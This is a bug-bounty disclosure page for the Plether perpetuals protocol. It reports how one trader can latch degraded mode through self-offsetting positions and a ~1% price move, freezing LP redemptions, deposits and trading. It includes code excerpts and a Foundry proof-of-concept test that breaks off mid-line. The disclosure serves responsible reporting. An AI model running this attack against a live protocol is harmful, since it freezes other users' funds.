Skip to content
Business logic Audit finding Advanced

Self-offsetting book at the admission boundary lets any trader latch degraded mode on an ordinary ~1% move and hold all LP redemptions, deposits and trading frozen

A trader can fill the perps order book to the admission boundary with self-offsetting long and short positions, then close the winning side after an ordinary ~1% basket move, draining effective pool assets below the remaining side's maximum-profit liability and latching degraded mode. While latched, LP redemption funding, deposit activation, new opens and margin withdrawals for accounts with open positions are all blocked, and the attacker can keep the losing leg well-margined so the owner's clear function reverts.

Another Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#99631 [SC-High] Self-offsetting book at the admission boundary lets any trader latch degraded mode on an ordinary ~1% move and hold all LP redemptions, deposits and trading frozen

Submitted on Nov 14th 2026 at 15:07:19 UTC by @Another for Audit Competition | Plether

Description

Brief/Intro

Any trader can manufacture the insolvency that latches degradedMode: fill the book to the admission boundary with self-offsetting LONG and SHORT positions, wait for a ~1% basket move, and close the winner. The payout drains effective assets below the remaining side's max-profit liability, and degradedMode blocks LP redemption funding, deposit activation, new opens and open-position withdrawals. Keeping the losing leg margined keeps E < L, blocking the owner's clear until the attacker releases.

Vulnerability Details

The latch. After every close and liquidation settles, the engine compares effective pool assets with the larger side's maximum-profit envelope and latches degraded mode when the former is smaller (CfdEngine.sol:1321, 1345, 1352-1370):

Solidity
function _enterDegradedModeIfInsolvent(address account, uint256 pendingPoolPayoutAssets) internal {
    if (degradedMode) { return; }
    uint256 effectiveAssetsAfter = _availableCashForFreshPoolPayouts();   // pool.totalAssets() - totalTraderClaimBalanceAssets
    ...
    uint256 maxLiabilityAssets = _maxLiability();                          // max(longMaxProfit, shortMaxProfit)
    if (effectiveAssetsAfter < maxLiabilityAssets) {
        degradedMode = true;
        emit DegradedModeEntered(effectiveAssetsAfter, maxLiabilityAssets, account);
    }
}

Closes are never rejected for the solvency they reveal (CfdEnginePlanLib.sol:796: "A valid close may project degraded mode; solvency is reported rather than rejected"), and the latch is sticky: the only reset is the owner's clearDegradedMode, which itself requires raw solvency to have returned (CfdEngine.sol:659-668):

Solidity
function clearDegradedMode() external onlyOwner {
    if (!degradedMode) { revert CfdEngine__NotDegraded(); }
    if (_availableCashForFreshPoolPayouts() < _maxLiability()) { revert CfdEngine__StillInsolvent(); }
    degradedMode = false;
    emit DegradedModeCleared();
}

The boundary is fillable by one actor. Risk admission requires projected effective assets to cover maximum liability plus a 0.25% liability-scaled settlement buffer (CfdEngine.sol:154, SolvencyAccountingLib.sol:94-105, CfdEnginePlanLib.sol:699-780, asserted post-open at CfdEngineSettlementSidecar.sol:501, 525-535):

Solidity
function hasRequiredSettlementBuffer(uint256 effectiveAssets, uint256 maxLiabilityAssets, uint256 settlementBufferBps)
    internal pure returns (bool)
{
    if (effectiveAssets < maxLiabilityAssets) { return false; }
    return effectiveAssets - maxLiabilityAssets
        >= settlementBufferTargetAssets(maxLiabilityAssets, settlementBufferBps);
}

At the release parameters the basket mark starts at 1.00 and CAP_PRICE is 2.00, so each side's maximum-profit envelope equals its entry notional exactly (CfdMath.sol:77-90):

Solidity
if (side == CfdTypes.Side.LONG) { return entryCostAssetAtoms; }          // longMaxProfit = entry notional
uint256 capValueAssetAtoms = lots * capPrice;
return capValueAssetAtoms > entryCostAssetAtoms ? capValueAssetAtoms - entryCostAssetAtoms : 0;  // shortMaxProfit = lots*CAP - entry

A trader therefore opens LONG notional E/1.0025 on one account and SHORT notional E/1.0025 on a second account. Neither side exceeds the admission envelope, the book has zero net skew (skew is |longOI - shortOI| valued at one price, CfdEnginePlanLib.sol:206-214), so the 40% skew cap never binds if the book is grown in balanced pairs, and the VPI charge of each LONG leg is returned as the rebate of the matching SHORT leg (C(S) = 0.5kS^2/D, CfdMath.sol:95-146). Traders pay no entry notional on open, only VPI plus a 0.04% execution fee, and margin is just 0.20% initial / 0.10% maintenance of notional (OpenAccountingLib.sol:134-141), so filling both sides to the boundary ties up roughly 12% of the pool as fully refundable margin. The resulting state leaves exactly the 0.25% buffer as the only headroom between E and L.

The trigger. When the basket mark moves up by delta, the SHORT side's positions gain delta times their notional at the pool's expense. Closing them pays out that gain net of close charges (a skew-based VPI charge is assessed on closes too, CfdEnginePlanLib.sol:1036-1075), draining E by delta*C_short - charges. Once that drain exceeds the 0.25% buffer headroom, E falls below the remaining LONG side's entry-notional liability and the close itself latches degraded mode. At release parameters with the book at the boundary the minimum move is about 0.85%; the attacker can build the book at any time and wait indefinitely for such a move, and the whitepaper's own dataset (2,685 daily observations, range 0.8636 to 1.1168, largest peak-to-trough decline 22.67%) shows moves of that size recur constantly.

The hold. The remaining LONG leg's max-profit stays at its entry notional for as long as it stays open, pinning L at the boundary while E sits below it. CfdEngine.addMargin (CfdEngine.sol:502-530) has no degraded-mode gate, so the attacker tops the losing leg's margin up far above maintenance; keepers can never liquidate it, so nothing forces the loss to realize and restore E >= L. The owner's clearDegradedMode reverts CfdEngine__StillInsolvent for the entire hold. The only automatic restoration is carry: the attacker's own position accrues roughly 5%/yr on its ~92%-of-pool borrow base (about 0.012% of the pool per day), so the minimum hole (~0.33% of pool at a 1.2% move) erodes only after roughly four weeks of attacker-paid carry, and a larger move widens the hole at the same fee cost (a 5% move leaves a hole of roughly 4% of the pool, about a year of carry). The owner can otherwise only cut the freeze short by donating a recapitalization of the hole size through recapitalizePool (onlyOwner) and then clearing.

What is blocked while degraded, all verified in the PoC:

  • LP epoch settlement, which funds redemption epochs and activates deposit epochs, reverts on the pool-level degraded gate (HousePool.sol:833, 1865-1871; the direct route is additionally router-gated while positions are open, HousePool.sol:810-820):
Solidity
function _requireWithdrawalsLive(HousePoolEngineViewTypes.HousePoolStatusSnapshot memory statusSnapshot) internal pure {
    if (statusSnapshot.degradedMode) { revert HousePool__DegradedMode(); }
}
  • LP deposit-entry activation (HousePool.sol:1140-1146):
Solidity
function _entryStatusBlocked(...) internal pure returns (bool) {
    return statusSnapshot.oracleFrozen || statusSnapshot.degradedMode
        || HousePoolAccountingLib.buildReconcileSnapshot(accountingSnapshot).deficit != 0;
}
  • Margin withdrawals for every account that still has an open position (CfdEngineSettlementSidecar.sol:256-286):
Solidity
function validateWithdraw(address account) external onlyEngine {
    ...
    if (pos.size == 0) { ...; return; }
    if (engine.degradedMode()) { revert ICfdEngineTypes.CfdEngine__DegradedMode(); }
    ...
}
  • All new opens, rejected at commit (router/OrderLiquidationBatchLogic.sol:322-338):
Solidity
function _validateOpenCommitAllowed(IOrderLiquidationBatchHost host) private view {
    if (IOrderRouterEmergencyAdmin(host.admin()).paused()) { revert Pausable.EnforcedPause(); }
    ICfdEngineCore engine = host.engine();
    if (engine.degradedMode()) { revert OrderRouter__DegradedMode(); }
    ...
}

Closes, liquidations, mark updates and already-funded vault claims keep working, so the freeze is not a global pause; it is a freeze of the LP exit path and all new risk.

Measured at release parameters on a 10M USDG pool (2M senior / 8M junior, CAP 2.00, mark 1.00, buffer 25bps, VPI k=0.01, skew cap 40%, execution fee 4bps, initial margin 20bps): the attacker fills 9,474,609 USDG of LONG and the same of SHORT (plus an unrelated bystander's 500,000 LONG), leaving L = 9,974,500 and only 696 USDG of headroom above the 24,936 USDG buffer. A +1.2% move and one SHORT close drain E to 9,941,092 against L = 9,974,500, latching degraded mode with a 33,408 USDG hole. The attacker commits 1.2M USDG of refundable margin and spends a net 57,518 USDG (0.575% of the pool) in VPI and execution charges.

Impact Details

Category: temporary freezing of funds / denial of service of core protocol operations, triggered permissionlessly and repeatable at will.

Impact: for a net cost of about 0.6% of the pool in open/close charges (plus roughly 12% of the pool as fully recoverable margin), a single attacker freezes the entire LP capital base: matured redemption epochs cannot be funded by any route, pending deposit epochs cannot activate, every new open protocol-wide is rejected, and no account with an open position can withdraw any margin. The freeze duration is attacker-controlled: it persists while the attacker keeps a healthy losing leg open, which keepers cannot liquidate and the owner cannot clear (CfdEngine__StillInsolvent), and ends only when the attacker releases, when the owner donates a recapitalization covering the hole, or after weeks of carry paid by the attacker into the pool. The demonstrated hole is 0.33% of the pool at a 1.2% move; larger moves at the same cost produce larger holes and holds, and the attack repeats whenever the basket moves ~0.85% or more. At the demonstrated minimum size the LPs even retain the attacker's charges, so the damage is the illiquidity and trading halt itself (all LP exit value frozen for the hold), not direct value theft.

This is not a known issue: the known-issues list (Cecuro findings, HIGH-1, SECURITY.md limitations, scan findings) does not cover deliberate latch triggering. The whitepaper documents the envelope's sequential-close counterexample only with extreme prices (entry 1, close at 0 then CAP, i.e. 100% moves) and treats degraded mode as a rare tail event whose latch the owner later clears; the accounting specification documents what is blocked while degraded but not that one trader can fill the book to the boundary with self-offsetting capital and trip the latch with an ordinary ~1% move, nor that the loser can be kept un-liquidatable so the owner's documented recovery path stays blocked for an attacker-chosen period.

References

  • packages/perps/src/CfdEngine.sol: line 122 (degradedMode), 154 (settlementBufferBps = 25), 502-530 (addMargin, no degraded gate), 659-668 (clearDegradedMode, onlyOwner, StillInsolvent), 866-872 (_availableCashForFreshPoolPayouts), 1045-1051 (_maxLiability), 1321 and 1345 (latch called after every close/liquidation), 1352-1370 (_enterDegradedModeIfInsolvent)
  • packages/perps/src/libraries/SolvencyAccountingLib.sol: lines 65-70 (getMaxLiability), 78-105 (settlementBufferTargetAssets, hasRequiredSettlementBuffer), 174-198 (previewPostOpSolvency)
  • packages/perps/src/libraries/CfdEnginePlanLib.sol: lines 206-214 (skew from side open interest), 699-780 (_applyOpenSettlementBufferAfterPlan open admission), 786-797 (close may project degraded mode), 1036-1075 (close action charges incl. VPI)
  • packages/perps/src/libraries/CfdMath.sol: lines 77-90 (calculateExactMaxProfit), 95-146 (skew cost curve)
  • packages/perps/src/libraries/OpenAccountingLib.sol: lines 114-154 (no entry notional paid, 20bps initial margin, trade cost = VPI + fee)
  • packages/perps/src/CfdEngineSettlementSidecar.sol: lines 256-286 (validateWithdraw degraded gate), 501 and 525-535 (post-open solvency assert)
  • packages/perps/src/HousePool.sol: lines 798-822 (settleLpEpoch router gate with open positions), 833 (withdrawals-live gate), 1140-1146 (_entryStatusBlocked), 1865-1871 (HousePool__DegradedMode)
  • packages/perps/src/router/OrderLiquidationBatchLogic.sol: lines 322-338 (_validateOpenCommitAllowed, OrderRouter__DegradedMode)
  • packages/perps/src/MarginClearinghouse.sol: lines 349-440 (margin custodied by the clearinghouse, not the pool)
  • Degraded Mode section (packages/perps ACCOUNTING_SPEC.md#degraded-mode; allowed/blocked lists), whitepaper section 2.3 (envelope counterexample at prices 0 and CAP), section 7.5 (degraded mode), known-issues list (Cecuro MED/LOW findings, HIGH-1, SECURITY.md known limitations), initial release parameters (CAP 2.00, mark 1.00, buffer 25bps, VPI 0.01, skew cap 40%, margins 20/10bps, execution fee 4bps)

Proof of Concept

Proof of Concept

Create and run the PoC test below:

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import "forge-std/Test.sol";
import {MockUSDG} from "./mocks/MockUSDG.sol";
import {MockPyth} from "./mocks/MockPyth.sol";

import {CfdEngine} from "@plether/perps/CfdEngine.sol";
import {CfdEngineAdmin} from "@plether/perps/CfdEngineAdmin.sol";
import {CfdEnginePlanner} from "@plether/perps/CfdEnginePlanner.sol";
import {CfdEngineSettlementSidecar} from "@plether/perps/CfdEngineSettlementSidecar.sol";
import {CfdEngineLens} from "@plether/perps/CfdEngineLens.sol";
import {TerminalNavBookV2} from "@plether/perps/TerminalNavBookV2.sol";
import {HousePool} from "@plether/perps/HousePool.sol";
import {HousePoolRedemptionMathSidecar} from "@plether/perps/HousePoolRedemptionMathSidecar.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {MarginClearinghouse} from "@plether/perps/MarginClearinghouse.sol";
import {PletherOracle} from "@plether/perps/PletherOracle.sol";
import {CfdOrderPolicyEvaluator} from "@plether/perps/CfdOrderPolicyEvaluator.sol";
import {OrderLifecycleBook} from "@plether/perps/OrderLifecycleBook.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderRouterLiquidationBatchSidecar} from "@plether/perps/OrderRouterLiquidationBatchSidecar.sol";
import {OrderRouterExecutionSidecar} from "@plether/perps/OrderRouterExecutionSidecar.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IMarginClearinghouse} from "@plether/perps/interfaces/IMarginClearinghouse.sol";
import {ICfdEngineTypes} from "@plether/perps/interfaces/ICfdEngineTypes.sol";
import {IOrderRouterErrors} from "@plether/perps/interfaces/IOrderRouterErrors.sol";
import {ICfdEnginePlanner} from "@plether/perps/interfaces/ICfdEnginePlanner.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/// @title DegradedLatchFreezePoC
/// @notice A lone unprivileged attacker fills the perps book to its admission boundary
///         with self-offsetting LONG and SHORT positions across two accounts, waits for
///         an ordinary market move (+1.2%), and closes the winning leg. The realized
///         profit drains effective pool assets below the remaining side's maximum-profit
///         liability, latching degradedMode. While latched, all LP epoch settlement
///         (redemption funding and deposit activation), all new opens, and all margin
///         withdrawals for accounts with open positions revert. The attacker keeps the
///         losing leg well-margined, so E < L persists and the owner's clearDegradedMode()
///         reverts StillInsolvent: the freeze is held until the attacker voluntarily
///         releases it (or the pool is recapitalized).
contract DegradedLatchFreezePoC is Test {
    // ------------------------------------------------------------------
    // Release parameters (doc.md "Initial release parameters")
    // ------------------------------------------------------------------
    uint256 internal constant CAP_PRICE = 2e8;
    uint256 internal constant VPI_FACTOR = 0.01e18;
    uint256 internal constant MAX_SKEW_RATIO = 0.4e18;
    uint256 internal constant MAINT_MARGIN_BPS = 10;
    uint256 internal constant INIT_MARGIN_BPS = 20;
    uint256 internal constant FAD_MARGIN_BPS = 300;
    uint256 internal constant BASE_CARRY_BPS = 500;
    uint256 internal constant MIN_BOUNTY_ASSETS = 1e6;
    uint256 internal constant BOUNTY_BPS = 10;
    uint256 internal constant KEEPER_SHARE_BPS = 5_000;
    uint256 internal constant PROTOCOL_SHARE_BPS = 0;
    uint256 internal constant FROZEN_CLOSE_SPREAD_BPS = 50;
    // CfdEngine defaults: settlementBufferBps = 25 (0.25%), executionFeeBps = 4 (0.04%).

    // Anchor: Sunday, 19 Nov 2023 23:00:00 UTC (fixture anchor); the 72h pool-config
    // timelock matures Wednesday 23:01 UTC and the scenario runs Wednesday night
    // through Thursday/Friday, outside the Fri-17:00-NY .. Sun-17:00-NY FAD window.
    uint256 internal constant BASE = 1_700_352_000 + 23 hours;

    // Scenario sizes: 2M senior / 8M junior => E0 ~= 10M USDG pool.
    uint256 internal constant SENIOR_ASSETS = 2_000_000e6;
    uint256 internal constant JUNIOR_ASSETS = 8_000_000e6;
    // Attacker trading capital (margin + reserves), recovered at the end.
    uint256 internal constant ATTACKER_LONG_CAPITAL = 800_000e6;
    uint256 internal constant ATTACKER_SHORT_CAPITAL = 400_000e6;

    // Market move used to trip the latch: basket mark 1.00 -> 1.012 (+1.2%).
    // EURUSD mock base 1.10 maps to mark 1.00, so 1.1132 maps to exactly 1.012.
    int64 internal constant EURUSD_BASE = 110_000_000;
    int64 internal constant EURUSD_UP = 111_320_000;

    struct Stack {
        MockUSDG token;
        MockPyth pyth;
        MarginClearinghouse clearinghouse;
        CfdEngine engine;
        HousePool pool;
        TrancheVault seniorVault;
        TrancheVault juniorVault;
        PletherOracle oracle;
        CfdEngineLens engineLens;
        OrderRouter router;
        OrderLifecycleBook lifecycleBook;
    }

    address internal attackerLong = makeAddr("attackerLong");
    address internal attackerShort = makeAddr("attackerShort");
    address internal victimLP = makeAddr("victimLP"); // junior LP redeeming during the freeze
    address internal bystander = makeAddr("bystander"); // unrelated trader with an open position
    address internal seniorLP = makeAddr("seniorLP");
    address internal owner = makeAddr("owner");
    address internal deployer = makeAddr("deployer");
    address internal seedReceiver = makeAddr("seedReceiver");

    bytes[] internal pythData;

    function setUp() public {
        pythData.push(bytes("pyth-payload"));
    }

    // ------------------------------------------------------------------
    // Deployment (release stack, exactly the documented wiring)
    // ------------------------------------------------------------------

    function _computeCreateAddress(address acct, uint256 nonce) internal pure returns (address) {
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), acct, bytes1(uint8(nonce)))))));
    }

    function _epochStart(uint256 ts) internal pure returns (uint256) {
        return (ts / 1 hours) * 1 hours;
    }

    function _deployStack() internal returns (Stack memory s) {
        vm.startPrank(owner);
        s.pyth = new MockPyth();
        s.token = new MockUSDG();
        s.clearinghouse = new MarginClearinghouse(address(s.token));
        s.engine = new CfdEngine(
            address(s.token),
            address(s.clearinghouse),
            CAP_PRICE,
            CfdTypes.RiskParams({
                vpiFactor: VPI_FACTOR,
                maxSkewRatio: MAX_SKEW_RATIO,
                maintMarginBps: MAINT_MARGIN_BPS,
                initMarginBps: INIT_MARGIN_BPS,
                fadMarginBps: FAD_MARGIN_BPS,
                baseCarryBps: BASE_CARRY_BPS,
                minBountyAssets: MIN_BOUNTY_ASSETS,
                bountyBps: BOUNTY_BPS,
                keeperShareBps: KEEPER_SHARE_BPS,
                protocolShareBps: PROTOCOL_SHARE_BPS
            }),
            FROZEN_CLOSE_SPREAD_BPS
        );
        vm.stopPrank();

        vm.startPrank(owner);
        TerminalNavBookV2 navBook = new TerminalNavBookV2(address(s.engine), uint32(CAP_PRICE));
        s.engine.setTerminalNavBook(address(navBook));

        CfdEnginePlanner planner = new CfdEnginePlanner();
        CfdEngineSettlementSidecar sidecar = new CfdEngineSettlementSidecar(address(s.engine));
        CfdEngineAdmin engineAdmin = new CfdEngineAdmin(address(s.engine), owner);
        s.engine.setDependencies(address(planner), address(sidecar), address(engineAdmin));

        HousePoolRedemptionMathSidecar redMath = new HousePoolRedemptionMathSidecar();
        s.pool = new HousePool(address(s.token), address(s.engine), address(redMath));
        s.engine.setPool(address(s.pool));

        s.seniorVault =
            new TrancheVault(IERC20(address(s.token)), address(s.pool), true, "Plether Senior", "PT-SR", 0, address(0));
        s.pool.setSeniorVault(address(s.seniorVault));

        address treasury = s.engine.protocolTreasury();
        s.juniorVault =
            new TrancheVault(IERC20(address(s.token)), address(s.pool), false, "Plether Junior", "PT-JR", 0, treasury);
        s.pool.setJuniorVault(address(s.juniorVault));

        s.clearinghouse.setEngine(address(s.engine));
        s.engineLens = new CfdEngineLens(address(s.engine));

        bytes32[] memory feedIds = new bytes32[](1);
        feedIds[0] = bytes32(uint256(0x455552555344)); // "EURUSD"
        uint256[] memory quantities = new uint256[](1);
        quantities[0] = 1e18;
        uint256[] memory basePrices = new uint256[](1);
        basePrices[0] = 110_000_000; // 1.10 USD -> basket mark 1.00 (8 decimals)
        bool[] memory inversions = new bool[](1);
        inversions[0] = false;
        s.oracle =
            new PletherOracle(address(s.engine), address(s.pool), address(s.pyth), feedIds, quantities, basePrices, inversions);

        CfdOrderPolicyEvaluator evaluator = new CfdOrderPolicyEvaluator();
        OrderRouterExecutionSidecar executionSidecar = new OrderRouterExecutionSidecar();
        vm.stopPrank();

        vm.startPrank(deployer);
        uint64 nonceBefore = vm.getNonce(deployer);
        address predictedRouter = _computeCreateAddress(deployer, nonceBefore + 2);
        OrderLifecycleBook book =
            new OrderLifecycleBook(predictedRouter, address(s.engine), address(s.clearinghouse), address(s.pool));
        OrderRouterLiquidationBatchSidecar keeperSidecar = new OrderRouterLiquidationBatchSidecar(predictedRouter);
        s.lifecycleBook = book;
        s.router = new OrderRouter(
            address(s.engine),
            address(s.engineLens),
            address(s.pool),
            address(s.oracle),
            address(keeperSidecar),
            address(evaluator),
            address(executionSidecar),
            address(book)
        );
        assertEq(address(s.router), predictedRouter, "router address prediction");
        vm.stopPrank();

        vm.prank(owner);
        s.engine.setOrderRouter(address(s.router));

        vm.deal(address(this), 1 ether);
        s.router.updateMarkPrice{value: 1 wei}(pythData);
    }

    function _bounds(Stack memory s) internal view returns (OrderV3Types.ExecutionBounds memory b) {
        b = OrderV3Types.ExecutionBounds({
            submitBy: uint64(block.timestamp + 120),
            executionWindowSeconds: 60,
            allowedExecutionModes: 1, // Live
            expectedConfigHash: s.lifecycleBook.currentExecutionConfigHash(),
            maxExecutionBountyAssets: 1e6,
            maxExecutionNotionalAssets: type(uint256).max,
            maxGrossAccountDebitAssets: type(uint256).max,
            maxActionChargeAssets: type(uint256).max,
            maxExplicitFeesAssets: type(uint256).max,
            maxPostPositionSize: type(uint256).max,
            minPostSettlementBalanceAssets: 0,
            minPostPositionEquityAssets: 0,
            maxPostLeverageBps: type(uint32).max
        });
    }

    function _settle(Stack memory s) internal {
        s.router.settleLpEpoch{value: 1 wei}(pythData);
    }

    function _refreshMark(Stack memory s) internal {
        s.router.updateMarkPrice{value: 1 wei}(pythData);
    }

    // ------------------------------------------------------------------
    // Trading helpers (permissionless commit + self-execution)
    // ------------------------------------------------------------------

    uint256 internal clientSeq = 1;

    function _tryOpen(
        Stack memory s,
        address acct,
        CfdTypes.Side side,
        uint256 notionalAssets,
        uint256 marginDelta
    ) internal returns (bool ok) {
        uint256 size = (notionalAssets * 1e20) / 1e8;
        size = (size / CfdTypes.SIZE_QUANTUM) * CfdTypes.SIZE_QUANTUM;
        if (size == 0) {
            return false;
        }
        _refreshMark(s);
        vm.startPrank(acct);
        try s.router.commitOrder(
            OrderV3Types.OrderRequest({
                clientOrderId: bytes32(clientSeq++),
                side: side,
                sizeDelta: size,
                marginDelta: marginDelta,
                targetPrice: side == CfdTypes.Side.LONG ? 1 : CAP_PRICE,
                isClose: false,
                bounds: _bounds(s)
            })
        ) returns (uint64 id) {
            vm.warp(block.timestamp + 2);
            vm.roll(block.number + 1);
            try s.router.executeOrder{value: 2 wei}(id, pythData) {
                ok = true;
            } catch {
                ok = false;
            }
        } catch {
            ok = false;
        }
        vm.stopPrank();
    }

    function _closeAll(Stack memory s, address acct, CfdTypes.Side side) internal returns (bool ok) {
        (uint256 posSize,,,,,,) = s.engine.positions(acct);
        if (posSize == 0) {
            return false;
        }
        _refreshMark(s);
        vm.startPrank(acct);
        try s.router.commitOrder(
            OrderV3Types.OrderRequest({
                clientOrderId: bytes32(clientSeq++),
                side: side,
                sizeDelta: posSize,
                marginDelta: 0,
                targetPrice: side == CfdTypes.Side.LONG ? CAP_PRICE : 1,
                isClose: true,
                bounds: _bounds(s)
            })
        ) returns (uint64 id) {
            vm.warp(block.timestamp + 2);
            vm.roll(block.number + 1);
            try s.router.executeOrder{value: 2 wei}(id, pythData) {
                ok = true;
            } catch {
                ok = false;
            }
        } catch {
            ok = false;
        }
        vm.stopPrank();
    }

    function _effectiveAssets(Stack memory s) internal view returns (uint256) {
        uint256 physical = s.pool.totalAssets();
        uint256 claims = s.engine.totalTraderClaimBalanceAssets();
        return physical > claims ? physical - claims : 0;
    }

    function _maxLiability(Stack memory s) internal view returns (uint256) {
        (uint256 longMaxProfit,,,) = s.engine.sides(0);
        (uint256 shortMaxProfit,,,) = s.engine.sides(1);
        return longMaxProfit > shortMaxProfit ? longMaxProfit : shortMaxProfit;
    }

    function _claimBalance(Stack memory s, address acct) internal view returns (uint256) {
        return s.engine.traderClaimBalanceAssets(acct);
    }

    // ------------------------------------------------------------------
    // Scenario runner
    // ------------------------------------------------------------------

    struct ScenarioResult {
        bool degradedLatched;
        uint256 victimProceeds; // victim token balance after all claims
        uint256 victimUnfundedShares; // shares still escrowed unfunded at the end
        uint256 attackerFinal; // token balances + clearinghouse equity + trader claims
        uint256 attackerSpent; // net USDG cost of the whole cycle
        uint256 juniorPrincipalFinal;
        uint256 seniorPrincipalFinal;
        uint256 poolEffectiveAssetsFinal;
    }

    function _runScenario(bool doAttack) internal returns (ScenarioResult memory r) {
        vm.warp(BASE); // Sunday 23:00 UTC
        Stack memory s = _deployStack();
        clientSeq = 1;

        // Release pool configuration through the 72h timelock.
        vm.startPrank(owner);
        s.pool.proposePoolConfig(
            IHousePool.PoolConfig({
                seniorRateBps: 800,
                markStalenessLimit: 60,
                seniorFrozenLpFeeBps: 25,
                juniorFrozenLpFeeBps: 75,
                maxSeniorExposureAssets: 40_000_000e6,
                maxSeniorShareBps: 8_000
            })
        );
        vm.stopPrank();

        vm.warp(BASE + 72 hours + 60); // Wednesday 23:01 UTC, live market
        vm.prank(owner);
        s.pool.finalizePoolConfig();

        vm.startPrank(owner);
        s.token.mint(owner, 2e6);
        s.token.approve(address(s.pool), 2e6);
        s.pool.initializeSeedPosition(false, 1e6, seedReceiver);
        s.pool.initializeSeedPosition(true, 1e6, seedReceiver);
        s.pool.activateTrading();
        vm.stopPrank();

        // Fund participants.
        s.token.mint(address(seniorLP), SENIOR_ASSETS);
        s.token.mint(address(victimLP), JUNIOR_ASSETS);
        s.token.mint(address(attackerLong), ATTACKER_LONG_CAPITAL);
        s.token.mint(address(attackerShort), ATTACKER_SHORT_CAPITAL);
        s.token.mint(address(bystander), 50_000e6);
        vm.deal(attackerLong, 1 ether);
        vm.deal(attackerShort, 1 ether);
        vm.deal(address(bystander), 1 ether);

        // Junior deposit activates first (senior-share cap), then senior.
        vm.startPrank(victimLP);
        s.token.appro

The original report as published on Immunefi, by Another. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the solvency check that latches degraded mode is evaluated only after a close settles and is never rejected, while the admission buffer is small enough that a single actor can fill both sides to the boundary and trip the latch with an ordinary price move.

Impact

For a net cost of about 0.6% of the pool in charges plus roughly 12% as recoverable margin, a single attacker can freeze all LP redemptions, deposit activation, new opens and margin withdrawals for an attacker-chosen duration, though closes, liquidations and already-funded vault claims keep working.

What the attacker needed

Two accounts controlled by one actor; trading capital ~12% of pool as margin; basket moves ~0.85% or more; no privileged access needed

How it was found

  1. Open a long position on one account and a matching short position on a second account, sized so the book sits at the admission boundary with only the 0.25% settlement buffer as headroom.
  2. Wait for the basket mark to move by roughly 1% or more.
  3. Close the winning side so the payout drains effective assets below the remaining side's maximum-profit liability, latching degraded mode.
  4. Top up margin on the losing leg so keepers cannot liquidate it and the owner's clearDegradedMode keeps reverting.
  5. Observe that LP epoch settlement, deposit activation, new opens and margin withdrawals for open positions all revert until the attacker releases.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The protocol has a safety switch called degraded mode that turns on when the pool no longer holds enough money to cover the biggest possible payout to traders. The report shows one person can deliberately push the pool into that state by opening matching bets on both sides and then closing the winning one after a small price move. Once the switch is on, ordinary users cannot withdraw their money or open new trades, and the person who caused it can keep it stuck for a long time.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Another

View all

24 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.